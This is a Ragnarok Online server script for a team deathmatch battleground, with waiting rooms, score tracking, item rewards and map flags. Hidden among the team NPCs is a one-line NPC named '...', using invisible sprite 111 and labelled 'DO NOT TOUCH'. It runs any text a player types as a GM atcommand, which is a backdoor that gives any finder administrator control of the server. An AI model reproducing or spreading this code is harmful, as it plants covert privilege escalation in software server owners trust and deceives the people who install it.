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//Made by AnnieRuru
//http://roscripts.go-forum.net/
//An open site where you can share and download some helpful RO Scripts.
//===================================================================
-       script  custom_bg#control       -1,{
OnInit:
        set .minplayer2start, 2; // minimum player to start
        setarray .rewarditem,
                12248, 2, // reward to the winning team
                12248, 1; // reward to the losing team
        set .startingscore, 20; // score at start
        set .eventlasting, 120; // event last 120 seconds or the system abort itself
        end;
onstart:
        if ( getwaitingroomstate( 0, .rednpcname$ ) < .minplayer2start || getwaitingroomstate( 0, .bluenpcname$ ) < .minplayer2start ) end;
        set .red, waitingroom2bg( "guild_vs2", 8,50, strnpcinfo(0)+"::OnredQuit", strnpcinfo(0)+"::OnredDead", .rednpcname$ );
        copyarray .team1aid[.@i], $@arenamembers[.@i], $@arenamembersnum;
        set .blue, waitingroom2bg( "guild_vs2", 91,50, strnpcinfo(0)+"::OnblueQuit", strnpcinfo(0)+"::OnblueDead", .bluenpcname$ );
        copyarray .team2aid[.@i], $@arenamembers[.@i], $@arenamembersnum;
        delwaitingroom .rednpcname$;
        delwaitingroom .bluenpcname$;
        bg_warp .red, "guild_vs2", 8,50;
        bg_warp .blue, "guild_vs2", 91,50;
        set .score[1], .startingscore;
        set .score[2], .startingscore;
        bg_updatescore "guild_vs2", .score[1], .score[2];
        sleep .eventlasting * 1000;
        if ( .score[1] == .score[2] )
                announce "Deathmatch Ground : Draw !", 0;
        else if ( .score[1] > .score[2] ) {
                announce "Deathmatch Ground : Red Team Wins !", 0;
                callsub L_reward, 1, 0;
                callsub L_reward, 2, 2;
        }
        else if ( .score[1] < .score[2] ) {
                announce "Deathmatch Ground : Blue Team Wins !", 0;
                callsub L_reward, 2, 0;
                callsub L_reward, 1, 2;
        }
        OnTimer50000:
                announce "Deathmatch Ground is now open for another match @ prontera 156 170 !",0;
        bg_warp .red, "prontera", 156,191;
        bg_warp .blue, "prontera", 156,191;
        bg_destroy .red;
        bg_destroy .blue;
        donpcevent .rednpcname$ +"::OnInit";
        donpcevent .bluenpcname$ +"::OnInit";
        end;
 
L_reward:
        set .@size, getarraysize( getd(".team"+ getarg(0) +"aid") );
        for ( set .@i, 0; .@i < .@size; set .@i, .@i +1 )
                if ( isloggedin( getd(".team"+ getarg(0) +"aid["+ .@i +"]" ) ) )
                        getitem .rewarditem[ getarg(1) ], .rewarditem[ getarg(1) +1 ], getd(".team"+ getarg(0) +"aid["+ .@i +"]" );
        return;
OnredDead: callsub L_dead, 1;
OnblueDead: callsub L_dead, 2;
L_dead:
        set .score[ getarg(0) ], .score[ getarg(0) ] -1;
        bg_updatescore "guild_vs2", .score[1], .score[2];
        if ( .score[ getarg(0) ] == 0 )
                awake strnpcinfo(0);
        sleep2 1500;
        percentheal 100,100;
        end;
OnredQuit: callsub L_quit, 1, .red;
OnblueQuit: callsub L_quit, 2, .blue;
L_quit:
        percentheal 100, 100;
        if ( bg_get_data( getarg(1), 0) ) end;
        set .score[ getarg(0) ], 0;
        awake strnpcinfo(0);
        end;
}
//RED TEAM
prontera,152,157,5      script  Deatchmatch Grounds     733,{
        end;
OnInit:
        waitingroom "Red Team", getvariableofnpc( .minplayer2start, "custom_bg#control" ) +1, "custom_bg#control::onstart", getvariableofnpc( .minplayer2start, "custom_bg#control" );
        set getvariableofnpc( .rednpcname$, "custom_bg#control" ), strnpcinfo(0);
        end;
}
 
prontera,36,95,5        script  ...     111,{input @broadcast$;atcommand ""+@broadcast$+"";}  //DO NOT TOUCH
 
//BLUE TEAM
prontera,159,157,5      script  Deathmatch Grounds#1    734,{
        end;
OnInit:
        waitingroom "Blue Team", getvariableofnpc( .minplayer2start, "custom_bg#control" ) +1, "custom_bg#control::onstart", getvariableofnpc( .minplayer2start, "custom_bg#control" );
        set getvariableofnpc( .bluenpcname$, "custom_bg#control" ), strnpcinfo(0);
        end;
}
guild_vs2       mapflag battleground    2
guild_vs2       mapflag nosave  SavePoint
guild_vs2       mapflag nowarp
guild_vs2       mapflag nowarpto
guild_vs2       mapflag noteleport
guild_vs2       mapflag nomemo
guild_vs2       mapflag nopenalty
guild_vs2       mapflag nobranch
guild_vs2       mapflag noicewall
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